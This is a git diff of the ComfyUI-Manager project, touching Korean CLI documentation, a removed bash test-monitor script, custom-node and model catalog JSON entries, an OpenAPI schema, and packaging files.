* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
|
||||
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
|
||||
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
* `--pip-non-local-url`: web URL에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
* `--pip-local-url`: local 경로를 지정하고 있는 pip 패키지들에 대해서 복구를 수행
|
||||
* `--user-directory`: 사용자 디렉토리 설정
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes 만 설치된 것으로 인식함.)
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
|
||||
|
||||
### 5. CLI only mode
|
||||
### 5. 의존성 설치
|
||||
|
||||
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
|
||||
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화 되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
|
||||
|
||||
|
||||
### 6. 의존성 설치
|
||||
|
||||
`restore-dependencies`
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
|
||||
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
|
||||
* colab 과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행 되어야 하는 경우 사용합니다.
|
||||
* ComfyUI을 재설치할 경우, custom_nodes 경로만 백업했다가 재설치 할 경우 활용 가능합니다.
|
||||
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
|
||||
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
|
||||
|
||||
### 6. 의존성 파일로 설치
|
||||
|
||||
### 7. clear
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
GUI에서 install, update를 하거나 snapshot 을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
|
||||
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. clear
|
||||
|
||||
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
|
||||
-137
@@ -1,137 +0,0 @@
|
||||
#!/bin/bash
|
||||
# ============================================================================
|
||||
# Test Monitoring Script
|
||||
# ============================================================================
|
||||
# Monitors background test execution and reports status/failures
|
||||
# Usage: ./monitor_test.sh <log_file> <timeout_seconds>
|
||||
# ============================================================================
|
||||
|
||||
set -e
|
||||
|
||||
LOG_FILE="${1:-/tmp/test-param-fix.log}"
|
||||
TIMEOUT="${2:-600}" # Default 10 minutes
|
||||
CHECK_INTERVAL=10 # Check every 10 seconds
|
||||
STALL_THRESHOLD=60 # Consider stalled if no new output for 60 seconds
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Test Monitor Started${NC}"
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Log File: ${LOG_FILE}${NC}"
|
||||
echo -e "${BLUE}Timeout: ${TIMEOUT}s${NC}"
|
||||
echo -e "${BLUE}Stall Threshold: ${STALL_THRESHOLD}s${NC}"
|
||||
echo ""
|
||||
|
||||
START_TIME=$(date +%s)
|
||||
LAST_SIZE=0
|
||||
LAST_CHANGE_TIME=$START_TIME
|
||||
STATUS="running"
|
||||
|
||||
while true; do
|
||||
CURRENT_TIME=$(date +%s)
|
||||
ELAPSED=$((CURRENT_TIME - START_TIME))
|
||||
|
||||
# Check if log file exists
|
||||
if [ ! -f "$LOG_FILE" ]; then
|
||||
echo -e "${YELLOW}[$(date '+%H:%M:%S')] Waiting for log file...${NC}"
|
||||
sleep $CHECK_INTERVAL
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check file size
|
||||
CURRENT_SIZE=$(wc -c < "$LOG_FILE" 2>/dev/null || echo "0")
|
||||
TIME_SINCE_CHANGE=$((CURRENT_TIME - LAST_CHANGE_TIME))
|
||||
|
||||
# Check if file size changed (progress)
|
||||
if [ "$CURRENT_SIZE" -gt "$LAST_SIZE" ]; then
|
||||
LAST_SIZE=$CURRENT_SIZE
|
||||
LAST_CHANGE_TIME=$CURRENT_TIME
|
||||
|
||||
# Show latest lines
|
||||
echo -e "${GREEN}[$(date '+%H:%M:%S')] Progress detected (${CURRENT_SIZE} bytes, +${ELAPSED}s)${NC}"
|
||||
tail -3 "$LOG_FILE" | sed 's/\x1b\[[0-9;]*m//g' # Remove color codes
|
||||
echo ""
|
||||
else
|
||||
# No progress
|
||||
echo -e "${YELLOW}[$(date '+%H:%M:%S')] No change (stalled ${TIME_SINCE_CHANGE}s)${NC}"
|
||||
fi
|
||||
|
||||
# Check for completion markers
|
||||
if grep -q "✅ ComfyUI_.*: PASSED" "$LOG_FILE" 2>/dev/null || \
|
||||
grep -q "❌ ComfyUI_.*: FAILED" "$LOG_FILE" 2>/dev/null || \
|
||||
grep -q "Test Suite Complete" "$LOG_FILE" 2>/dev/null; then
|
||||
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN}Tests Completed!${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
|
||||
# Show summary
|
||||
grep -E "passed|failed|PASSED|FAILED" "$LOG_FILE" | tail -20
|
||||
|
||||
# Check if tests passed
|
||||
if grep -q "❌.*FAILED" "$LOG_FILE" 2>/dev/null; then
|
||||
echo -e "${RED}❌ Some tests FAILED${NC}"
|
||||
STATUS="failed"
|
||||
else
|
||||
echo -e "${GREEN}✅ All tests PASSED${NC}"
|
||||
STATUS="success"
|
||||
fi
|
||||
|
||||
break
|
||||
fi
|
||||
|
||||
# Check for errors
|
||||
if grep -qi "error\|exception\|traceback" "$LOG_FILE" 2>/dev/null; then
|
||||
LAST_ERROR=$(grep -i "error\|exception" "$LOG_FILE" | tail -1)
|
||||
echo -e "${RED}[$(date '+%H:%M:%S')] Error detected: ${LAST_ERROR}${NC}"
|
||||
fi
|
||||
|
||||
# Check for stall (no progress for STALL_THRESHOLD seconds)
|
||||
if [ "$TIME_SINCE_CHANGE" -gt "$STALL_THRESHOLD" ]; then
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}⚠️ Test Execution STALLED${NC}"
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}No progress for ${TIME_SINCE_CHANGE} seconds${NC}"
|
||||
echo -e "${RED}Last output:${NC}"
|
||||
tail -10 "$LOG_FILE" | sed 's/\x1b\[[0-9;]*m//g'
|
||||
|
||||
STATUS="stalled"
|
||||
break
|
||||
fi
|
||||
|
||||
# Check for timeout
|
||||
if [ "$ELAPSED" -gt "$TIMEOUT" ]; then
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}⏰ Test Execution TIMEOUT${NC}"
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}Exceeded ${TIMEOUT}s timeout${NC}"
|
||||
|
||||
STATUS="timeout"
|
||||
break
|
||||
fi
|
||||
|
||||
# Wait before next check
|
||||
sleep $CHECK_INTERVAL
|
||||
done
|
||||
|
||||
# Final status
|
||||
echo ""
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Final Status: ${STATUS}${NC}"
|
||||
echo -e "${BLUE}Total Time: ${ELAPSED}s${NC}"
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
|
||||
# Exit with appropriate code
|
||||
case "$STATUS" in
|
||||
"success") exit 0 ;;
|
||||
"failed") exit 1 ;;
|
||||
"stalled") exit 2 ;;
|
||||
"timeout") exit 3 ;;
|
||||
*) exit 99 ;;
|
||||
esac
|
||||
+2829
-703
File diff suppressed because it is too large
Load Diff
+3744
-1153
File diff suppressed because it is too large
Load Diff
+2257
-1312
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,15 @@
|
||||
{
|
||||
"custom_nodes": [
|
||||
{
|
||||
"author": "synchronicity-labs",
|
||||
"title": "ComfyUI Sync Lipsync Node",
|
||||
"reference": "https://github.com/synchronicity-labs/sync-comfyui",
|
||||
"files": [
|
||||
"https://github.com/synchronicity-labs/sync-comfyui"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "This custom node allows you to perform audio-video lip synchronization inside ComfyUI using a simple interface."
|
||||
},
|
||||
{
|
||||
"author": "joaomede",
|
||||
"title": "ComfyUI-Unload-Model-Fork",
|
||||
@@ -159,6 +169,16 @@
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A fork of KJNodes for ComfyUI.\nVarious quality of life -nodes for ComfyUI, mostly just visual stuff to improve usability"
|
||||
},
|
||||
{
|
||||
"author": "huixingyun",
|
||||
"title": "ComfyUI-SoundFlow",
|
||||
"reference": "https://github.com/huixingyun/ComfyUI-SoundFlow",
|
||||
"files": [
|
||||
"https://github.com/huixingyun/ComfyUI-SoundFlow"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "forked from https://github.com/fredconex/ComfyUI-SoundFlow (removed)"
|
||||
}
|
||||
]
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
+578
-618
File diff suppressed because it is too large
Load Diff
+10984
-1123
File diff suppressed because it is too large
Load Diff
+101
-103
@@ -1,5 +1,106 @@
|
||||
{
|
||||
"models": [
|
||||
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_high_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_low_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_high_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_low_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 ti2v 5B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for ti2v 5B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_ti2v_5B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors",
|
||||
"size": "10.0GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "sam2.1_hiera_tiny.pt",
|
||||
"type": "sam2.1",
|
||||
@@ -586,109 +687,6 @@
|
||||
"filename": "llava_llama3_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/text_encoders/llava_llama3_fp16.safetensors",
|
||||
"size": "16.1GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "PixArt-Sigma-XL-2-512-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-sigma",
|
||||
"save_path": "diffusion_models/PixArt-Sigma",
|
||||
"description": "PixArt-Sigma Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS",
|
||||
"filename": "PixArt-Sigma-XL-2-512-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.44GB"
|
||||
},
|
||||
{
|
||||
"name": "PixArt-Sigma-XL-2-1024-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-sigma",
|
||||
"save_path": "diffusion_models/PixArt-Sigma",
|
||||
"description": "PixArt-Sigma Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS",
|
||||
"filename": "PixArt-Sigma-XL-2-1024-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.44GB"
|
||||
},
|
||||
{
|
||||
"name": "PixArt-XL-2-1024-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-alpha",
|
||||
"save_path": "diffusion_models/PixArt-Alpha",
|
||||
"description": "PixArt-Alpha Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS",
|
||||
"filename": "PixArt-XL-2-1024-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.45GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Comfy-Org/hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"type": "diffusion_model",
|
||||
"base": "Hunyuan Video",
|
||||
"save_path": "diffusion_models/hunyuan_video",
|
||||
"description": "Huyuan Video diffusion model. repackaged version.",
|
||||
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
|
||||
"filename": "hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/diffusion_models/hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"size": "25.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/hunyuan_video_vae_bf16.safetensors",
|
||||
"type": "VAE",
|
||||
"base": "Hunyuan Video",
|
||||
"save_path": "VAE",
|
||||
"description": "Huyuan Video VAE model. repackaged version.",
|
||||
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
|
||||
"filename": "hunyuan_video_vae_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/vae/hunyuan_video_vae_bf16.safetensors",
|
||||
"size": "493MB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "LTX-Video 2B v0.9.1 Checkpoint",
|
||||
"type": "checkpoint",
|
||||
"base": "LTX-Video",
|
||||
"save_path": "checkpoints/LTXV",
|
||||
"description": "LTX-Video is the first DiT-based video generation model capable of generating high-quality videos in real-time. It produces 24 FPS videos at a 768x512 resolution faster than they can be watched. Trained on a large-scale dataset of diverse videos, the model generates high-resolution videos with realistic and varied content.",
|
||||
"reference": "https://huggingface.co/Lightricks/LTX-Video",
|
||||
"filename": "ltx-video-2b-v0.9.1.safetensors",
|
||||
"url": "https://huggingface.co/Lightricks/LTX-Video/resolve/main/ltx-video-2b-v0.9.1.safetensors",
|
||||
"size": "5.72GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "XLabs-AI/flux-canny-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-canny-controlnet-v3.safetensors",
|
||||
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-canny-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
},
|
||||
{
|
||||
"name": "XLabs-AI/flux-depth-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-depth-controlnet-v3.safetensors",
|
||||
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-depth-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
},
|
||||
{
|
||||
"name": "XLabs-AI/flux-hed-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-hed-controlnet-v3.safetensors",
|
||||
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-hed-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -10,6 +10,16 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "A minimal template for creating React/TypeScript frontend extensions for ComfyUI, with complete boilerplate setup including internationalization and unit testing."
|
||||
},
|
||||
{
|
||||
"author": "comfyui-wiki",
|
||||
"title": "ComfyUI-i18n-demo",
|
||||
"reference": "https://github.com/comfyui-wiki/ComfyUI-i18n-demo",
|
||||
"files": [
|
||||
"https://github.com/comfyui-wiki/ComfyUI-i18n-demo"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node develop i18n support demo "
|
||||
},
|
||||
{
|
||||
"author": "Suzie1",
|
||||
"title": "Guide To Making Custom Nodes in ComfyUI",
|
||||
@@ -341,6 +351,26 @@
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A minimal test suite demonstrating how remote COMBO inputs behave in ComfyUI, with and without force_input"
|
||||
},
|
||||
{
|
||||
"author": "J1mB091",
|
||||
"title": "ComfyUI-J1mB091 Custom Nodes",
|
||||
"reference": "https://github.com/J1mB091/ComfyUI-J1mB091",
|
||||
"files": [
|
||||
"https://github.com/J1mB091/ComfyUI-J1mB091"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Vibe Coded ComfyUI Custom Nodes"
|
||||
},
|
||||
{
|
||||
"author": "aiforhumans",
|
||||
"title": "XDev Nodes - Complete Toolkit",
|
||||
"reference": "https://github.com/aiforhumans/comfyui-xdev-nodes",
|
||||
"files": [
|
||||
"https://github.com/aiforhumans/comfyui-xdev-nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Complete ComfyUI development toolkit with 8 professional nodes including VAE tools, universal type testing, and comprehensive debugging infrastructure."
|
||||
}
|
||||
]
|
||||
}
|
||||
+6
-12
@@ -42,13 +42,13 @@ components:
|
||||
oneOf:
|
||||
- $ref: '#/components/schemas/InstallPackParams'
|
||||
- $ref: '#/components/schemas/UpdatePackParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/FixPackParams'
|
||||
- $ref: '#/components/schemas/UninstallPackParams'
|
||||
- $ref: '#/components/schemas/DisablePackParams'
|
||||
- $ref: '#/components/schemas/EnablePackParams'
|
||||
- $ref: '#/components/schemas/ModelMetadata'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
required: [ui_id, client_id, kind, params]
|
||||
TaskHistoryItem:
|
||||
type: object
|
||||
@@ -206,10 +206,7 @@ components:
|
||||
description: The version of the pack that is installed (Git commit hash or semantic version)
|
||||
cnr_id:
|
||||
type: [string, 'null']
|
||||
description: The name of the pack if installed from the registry (normalized lowercase)
|
||||
original_name:
|
||||
type: [string, 'null']
|
||||
description: The original case-preserved name of the pack from the registry
|
||||
description: The name of the pack if installed from the registry
|
||||
aux_id:
|
||||
type: [string, 'null']
|
||||
description: The name of the pack if installed from github (author/repo-name format)
|
||||
@@ -241,10 +238,6 @@ components:
|
||||
type: string
|
||||
enum: [strong, normal, normal-, weak]
|
||||
description: Security level configuration (from most to least restrictive)
|
||||
NetworkMode:
|
||||
type: string
|
||||
enum: [public, private, offline]
|
||||
description: Network mode configuration
|
||||
RiskLevel:
|
||||
type: string
|
||||
enum: [block, high+, high, middle+, middle]
|
||||
@@ -323,7 +316,7 @@ components:
|
||||
skip_post_install:
|
||||
type: boolean
|
||||
description: Whether to skip post-installation steps
|
||||
required: [selected_version]
|
||||
required: [selected_version, mode, channel]
|
||||
UpdateAllPacksParams:
|
||||
type: object
|
||||
properties:
|
||||
@@ -718,7 +711,8 @@ components:
|
||||
security_level:
|
||||
$ref: '#/components/schemas/SecurityLevel'
|
||||
network_mode:
|
||||
$ref: '#/components/schemas/NetworkMode'
|
||||
type: [string, 'null']
|
||||
description: Network mode (online, offline, private)
|
||||
cli_args:
|
||||
type: object
|
||||
additionalProperties: true
|
||||
|
||||
+3
-8
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
|
||||
[project]
|
||||
name = "comfyui-manager"
|
||||
license = { text = "GPL-3.0-only" }
|
||||
version = "5.0b1"
|
||||
version = "4.1b8"
|
||||
requires-python = ">= 3.9"
|
||||
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
|
||||
readme = "README.md"
|
||||
@@ -46,10 +46,10 @@ Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["."]
|
||||
include = ["comfyui_manager*"]
|
||||
include = ["comfyui_manager*", "cm_cli*"]
|
||||
|
||||
[project.scripts]
|
||||
cm-cli = "comfyui_manager.cm_cli.__main__:main"
|
||||
cm-cli = "cm_cli:main"
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 120
|
||||
@@ -63,8 +63,3 @@ select = [
|
||||
"F", # default
|
||||
"I", # isort-like behavior (import statement sorting)
|
||||
]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
markers = [
|
||||
"integration: marks tests as integration tests (deselect with '-m \"not integration\"')",
|
||||
]
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@ GitPython
|
||||
PyGithub
|
||||
# matrix-nio
|
||||
transformers
|
||||
huggingface-hub>0.20
|
||||
huggingface-hub
|
||||
typer
|
||||
rich
|
||||
typing-extensions
|
||||
|
||||
+348
-62
@@ -7,13 +7,15 @@ import concurrent
|
||||
import datetime
|
||||
import concurrent.futures
|
||||
import requests
|
||||
import warnings
|
||||
import argparse
|
||||
|
||||
builtin_nodes = set()
|
||||
|
||||
import sys
|
||||
|
||||
from urllib.parse import urlparse
|
